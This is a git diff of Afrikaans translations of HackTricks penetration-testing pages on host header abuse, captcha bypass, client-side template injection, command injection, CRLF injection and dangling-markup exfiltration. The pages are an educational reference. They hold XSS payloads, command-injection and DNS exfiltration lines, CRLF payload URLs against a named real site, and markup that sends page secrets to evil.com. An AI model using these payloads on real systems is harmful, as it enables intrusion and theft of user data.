Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.
|
||||
@ -366,7 +368,7 @@ Die `permission_callback` is 'n terugroep na 'n funksie wat nagaan of 'n gegewe
|
||||
|
||||
- **Direkte toegang tot die php-lêer**
|
||||
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word.
|
||||
|
||||
## WordPress Beskerming
|
||||
|
||||
@ -382,9 +384,9 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**.
|
||||
|
||||
### Sekuriteitsinproppe
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Ander Aanbevelings**
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### Gasheer kop
|
||||
|
||||
Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Gasheer kop geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
@ -10,11 +9,10 @@ Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit moontlik is dat jy selfs nie hoef te wag vir die gebruiker om op die wagwoordherstel skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots dit mag klik om dit te analiseer**.
|
||||
|
||||
|
||||
### Sessie booleans
|
||||
|
||||
Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
||||
As jy egter die **toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
As jy egter **die toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Registreer funksionaliteit
|
||||
|
||||
@ -26,7 +24,9 @@ Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nu
|
||||
|
||||
### Toegang tot interne servicedesk van maatskappye wat atlassian gebruik
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE metode
|
||||
|
||||
@ -34,5 +34,4 @@ Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omge
|
||||
|
||||

|
||||
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -7,7 +7,7 @@
|
||||
Om die **captcha** tydens **bedienertoetsing** te **omseil** en gebruikersinvoervunksies te outomatiseer, kan verskeie tegnieke gebruik word. Die doel is nie om sekuriteit te ondermyn nie, maar om die toetsproses te stroomlyn. Hier is 'n omvattende lys van strategieë:
|
||||
|
||||
1. **Parameter Manipulasie**:
|
||||
- **Omkrap die Captcha Parameter**: Vermy om die captcha parameter te stuur. Experimenteer met die verandering van die HTTP-metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos om tussen vormdata en JSON te wissel.
|
||||
- **Omkrap die Captcha Parameter**: Vermy om die captcha parameter te stuur. Eksperimenteer met die verandering van die HTTP-metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos om tussen vormdata en JSON te wissel.
|
||||
- **Stuur Leë Captcha**: Dien die versoek in met die captcha parameter teenwoordig maar leeg gelaat.
|
||||
2. **Waarde Uittrekking en Hergebruik**:
|
||||
- **Bronkode Inspeksie**: Soek na die captcha waarde binne die bladsy se bronkode.
|
||||
@ -23,15 +23,17 @@ Om die **captcha** tydens **bedienertoetsing** te **omseil** en gebruikersinvoer
|
||||
- **Tarieflimiet Toetsing**: Kontroleer of die toepassing die aantal pogings of indienings in 'n gegewe tydraamwerk beperk en of hierdie limiet omseil of teruggestel kan word.
|
||||
- **Derdeparty Dienste**: Gebruik captcha-oplossingsdienste of API's wat outomatiese captcha erkenning en oplossing bied.
|
||||
- **Sessie en IP Rotasie**: Verander gereeld sessie-ID's en IP-adresse om opsporing en blokkering deur die bediener te vermy.
|
||||
- **User-Agent en Header Manipulasie**: Verander die User-Agent en ander versoekheaders om verskillende blaaiers of toestelle na te boots.
|
||||
- **User-Agent en Kop Manipulasie**: Verander die User-Agent en ander versoekkoppe om verskillende blaaiers of toestelle na te boots.
|
||||
- **Klank Captcha Analise**: As 'n klank captcha opsie beskikbaar is, gebruik spraak-naar-teks dienste om die captcha te interpreteer en op te los.
|
||||
|
||||
## Aanlyn Dienste om captchas op te los
|
||||
|
||||
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) is 'n KI-gedrewe diens wat spesialiseer in die outomatiese oplossing van verskeie tipes captchas, bemagtig data-insameling deur ontwikkelaars te help om maklik die captcha-uitdagings wat tydens Web Scraping ondervind word, te oorkom. Dit ondersteun captchas soos **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, en Cloudflare turnstile onder andere**. Vir ontwikkelaars bied Capsolver API-integrasie opsies wat in [**dokumentasie**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** uiteengesit word, wat die integrasie van captcha-oplossing in toepassings fasiliteer. Hulle bied ook blaaierspesies vir [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) en [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), wat dit maklik maak om hul diens direk binne 'n blaier te gebruik. Verskillende prys pakkette is beskikbaar om verskillende behoeftes te akkommodeer, wat buigsaamheid vir gebruikers verseker.
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) is 'n KI-gedrewe diens wat spesialiseer in die outomatiese oplossing van verskillende tipes captchas, en bemagtig dataverzameling deur ontwikkelaars te help om maklik die captcha-uitdagings wat tydens Web Scraping ondervind word, te oorkom. Dit ondersteun captchas soos **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, en Cloudflare turnstile onder andere**. Vir ontwikkelaars bied Capsolver API-integrasie opsies wat in [**dokumentasie**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** uiteengesit word, wat die integrasie van captcha-oplossing in toepassings fasiliteer. Hulle bied ook blaaierspesies aan vir [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) en [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), wat dit maklik maak om hul diens direk binne 'n blaier te gebruik. Verskillende pryspakkette is beskikbaar om verskillende behoeftes te akkommodeer, wat buigsaamheid vir gebruikers verseker.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,17 +1,16 @@
|
||||
# Klientkant Sjabloon Inspuiting (CSTI)
|
||||
# Kliëntkant Sjabloon Inspuiting (CSTI)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Samevatting
|
||||
|
||||
Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
|
||||
Dit is soos 'n [**Bediener Kant Sjabloon Inspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode** op die afstandbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
|
||||
|
||||
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
|
||||
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
|
||||
|
||||
In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
|
||||
```javascript
|
||||
@ -22,10 +21,9 @@ In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word w
|
||||
<!-- Google Research - AngularJS -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
U kan 'n baie **basiese aanlyn voorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
U kan 'n baie **basiese aanlynvoorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` te werk.
|
||||
> [!CAUTION] > [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` te werk.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -43,7 +41,7 @@ En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue
|
||||
```
|
||||
{{_openBlock.constructor('alert(1)')()}}
|
||||
```
|
||||
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V2**
|
||||
```
|
||||
@ -71,9 +69,10 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
```
|
||||
**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||
|
||||
## **Brute-Force Opsporingslys**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
## **Brute-Force Opsporing Lys**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Wat is opdraginjektering?
|
||||
|
||||
'n **opdraginjektering** stel 'n aanvaller in staat om arbitrêre bedryfstelselsopdragte op die bediener wat 'n toepassing huisves, uit te voer. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
||||
'n **opdraginjektering** laat die uitvoering van arbitrêre bedryfstelselsopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
||||
|
||||
### Konteks
|
||||
|
||||
Afhangende van **waar jou invoer ingesluit word**, mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die opdragte.
|
||||
Afhangende van **waar jou invoer ingesluit word**, mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte uitgevoer word.
|
||||
|
||||
## Opdraginjektering/Uitvoering
|
||||
```bash
|
||||
@ -74,7 +73,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soort
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Tydgebaseerde data-uitkapping
|
||||
### Tydgebaseerde data-uitvoer
|
||||
|
||||
Data onttrek: karakter vir karakter
|
||||
```
|
||||
@ -100,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Aanlyn gereedskap om vir DNS-gebaseerde data-uitvloeiing te kyk:
|
||||
Aanlyn gereedskap om DNS-gebaseerde data-uitvloeiing te kontroleer:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
@ -118,9 +117,11 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
## Brute-Force Detectie Lys
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Carriage Return (CR) en Line Feed (LF), saam bekend as CRLF, is spesiale karakterreekse wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaiers gebruik CRLF om te onderskei tussen HTTP-koptekste en die liggaam van 'n antwoord. Hierdie karakters word universeel in HTTP/1.1 kommunikasie oor verskeie webbediener tipes, soos Apache en Microsoft IIS, gebruik.
|
||||
@ -37,7 +35,7 @@ Die aanvaller verberg dus hul kwaadwillige aktiwiteite deur dit te laat lyk asof
|
||||
|
||||
#### Beskrywing
|
||||
|
||||
HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitskwessies, veral Cross-site Scripting (XSS).
|
||||
HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitsprobleme, veral Cross-site Scripting (XSS).
|
||||
|
||||
#### XSS deur HTTP Response Splitting
|
||||
|
||||
@ -70,11 +68,15 @@ Jy kan die payload **binne die URL pad** stuur om die **antwoord** van die bedie
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
Check meer voorbeelde in:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Header Injection
|
||||
|
||||
HTTP Header Injection, wat dikwels deur CRLF (Carriage Return en Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing.
|
||||
HTTP Header Injection, wat dikwels deur CRLF (Carriage Return and Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing.
|
||||
|
||||
#### Exploiting CORS via HTTP Header Injection
|
||||
|
||||
@ -119,11 +121,11 @@ Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipi
|
||||
|
||||
**Uitbuiting:**
|
||||
|
||||
1. **Kwaadwillige Vooraf-inspuiting**: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige vooraf te spesifiseer. 'n Voorbeeld hiervan is:
|
||||
1. **Kwaadwillige Voorvoegsel Inspuiting**: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige voorvoegsel te spesifiseer. 'n Voorbeeld hiervan is:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
2. **Skep 'n Vooraf vir Antwoord Queuing Vergiftiging**: Hierdie benadering behels die skep van 'n vooraf wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan antwoord queuing vergiftiging ontketen. 'n Voorbeeld is:
|
||||
2. **Skep 'n Voorvoegsel vir Antwoord Queues Vergiftiging**: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan die vergiftiging van die antwoordqueue ontketen. 'n Voorbeeld is:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
@ -137,13 +139,13 @@ Memcache is 'n **sleutel-waarde stoor wat 'n duidelike teksprotokol gebruik**. M
|
||||
|
||||
**Vir die volledige inligting lees die**[ **oorspronklike skrywe**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
As 'n platform **data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer** om **versoeke** na 'n **memcache** bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om **nuwe memcache opdragte in te spuit**.
|
||||
As 'n platform **data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer** om **versoeke** aan 'n **memcache** bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om **nuwe memcache opdragte in te spuit**.
|
||||
|
||||
Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet verbind, terug te gee, en aanvallers was in staat om **memcache opdragte in te spuit** wat die **kas sou vergiftig** om die **besoeke se besonderhede** (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:
|
||||
Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet verbind, terug te gee, en aanvallers was in staat om **memcache opdragte in te spuit** wat die **kas sou vergiftig** om die **besoekers se besonderhede** (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:
|
||||
|
||||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geweet het nie:
|
||||
Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geken het nie:
|
||||
|
||||
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
@ -195,6 +197,4 @@ Om die risiko's van CRLF (Carriage Return en Line Feed) of HTTP Koptekst Inspuit
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -7,7 +7,7 @@
|
||||
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\
|
||||
Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy wil dit **uitvoer** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei.
|
||||
|
||||
Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...).
|
||||
Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere (html-tags, CSS, http-meta-tags, vorms, basis...) uit te voer.
|
||||
|
||||
## Main Applications
|
||||
|
||||
@ -15,7 +15,7 @@ Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content
|
||||
|
||||
As jy `<img src='http://evil.com/log.cgi?` inspuit wanneer die bladsy gelaai word, sal die slagoffer jou al die kode tussen die ingespuite `img`-tag en die volgende aanhaling binne die kode stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).
|
||||
|
||||
As die `img`-tag verbied is (weens CSP byvoorbeeld) kan jy ook `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` gebruik.
|
||||
As die `img`-tag verbode is (weens CSP byvoorbeeld) kan jy ook `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` gebruik.
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
@ -43,11 +43,11 @@ steal me'<b>test</b>
|
||||
```
|
||||
Dan sal die vorms wat data na die pad stuur (soos `<form action='update_profile.php'>`) die data na die kwaadwillige domein stuur.
|
||||
|
||||
### Stealing forms 2
|
||||
### Steel vorms 2
|
||||
|
||||
Stel 'n vormkop in: `<form action='http://evil.com/log_steal'>` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
|
||||
|
||||
### Stealing forms 3
|
||||
### Steel vorms 3
|
||||
|
||||
Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
|
||||
```html
|
||||
@ -61,13 +61,13 @@ Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger
|
||||
|
||||
### Steel duidelike teks geheime 2
|
||||
|
||||
Deur die nuutste genoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:
|
||||
Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "_**Stealing clear text secrets**_" met "_**Stealing forms2**_".
|
||||
|
||||
Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te voeg. Alle data totdat 'n geslote `</option>` gevind word, sal gestuur word:
|
||||
Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te voeg. Al die data totdat 'n geslote `</option>` gevind word, sal gestuur word:
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
@ -90,7 +90,7 @@ Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte a
|
||||
|
||||
`<noscript></noscript>` Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktiveer/deaktiveer).
|
||||
|
||||
